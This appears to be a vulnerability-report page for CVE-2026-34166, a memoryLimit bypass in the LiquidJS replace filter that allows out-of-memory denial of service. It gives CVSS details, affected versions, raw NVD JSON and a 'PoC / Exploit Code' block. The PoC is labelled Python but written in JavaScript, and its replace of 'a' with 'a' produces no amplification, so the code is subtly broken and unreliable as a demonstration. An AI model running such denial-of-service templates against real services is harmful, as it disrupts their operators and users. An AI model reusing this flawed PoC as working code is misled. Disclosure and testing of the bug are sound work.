Security Vulnerability Report
中文
CVE-2026-34166 CVSS 3.7 LOW

CVE-2026-34166

Published: 2026-04-08 19:25:21
Last Modified: 2026-04-10 21:19:24

Description

LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.25.3, the replace filter in LiquidJS incorrectly accounts for memory usage when the memoryLimit option is enabled. It charges str.length + pattern.length + replacement.length bytes to the memory limiter, but the actual output from str.split(pattern).join(replacement) can be quadratically larger when the pattern occurs many times in the input string. This allows an attacker who controls template content to bypass the memoryLimit DoS protection with approximately 2,500x amplification, potentially causing out-of-memory conditions. This vulnerability is fixed in 10.25.3.

CVSS Details

CVSS Score
3.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:liquidjs:liquidjs:*:*:*:*:*:node.js:*:* - VULNERABLE
LiquidJS < 10.25.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-34166: LiquidJS Memory Limit Bypass // Requires LiquidJS < 10.25.3 const { Liquid } = require('liquidjs'); // Initialize engine with a memory limit (e.g., 10MB) const engine = new Liquid({ memoryLimit: 10 * 1024 * 1024 }); // Construct a template that triggers quadratic memory expansion // The 'repeat' filter creates a long string, and 'replace' processes it const templateStr = ` {% assign base = "a" %} {% assign large_str = base | repeat: 50000 %} {{ large_str | replace: "a", "a" }} `; engine.parseAndRender(templateStr) .then(() => console.log("Rendered successfully (unexpected)")) .catch(err => console.error("Error (likely OOM):", err.message));

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34166", "sourceIdentifier": "[email protected]", "published": "2026-04-08T19:25:21.400", "lastModified": "2026-04-10T21:19:24.237", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.25.3, the replace filter in LiquidJS incorrectly accounts for memory usage when the memoryLimit option is enabled. It charges str.length + pattern.length + replacement.length bytes to the memory limiter, but the actual output from str.split(pattern).join(replacement) can be quadratically larger when the pattern occurs many times in the input string. This allows an attacker who controls template content to bypass the memoryLimit DoS protection with approximately 2,500x amplification, potentially causing out-of-memory conditions. This vulnerability is fixed in 10.25.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:liquidjs:liquidjs:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "10.25.3", "matchCriteriaId": "D2AAC345-0EF3-40DC-928F-0A77E0779B5A"}]}]}], "references": [{"url": "https://github.com/harttle/liquidjs/commit/abc058be0f33d6372cd2216f4945183167abeb25", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/harttle/liquidjs/releases/tag/v10.25.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-mmg9-6m6j-jqqx", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}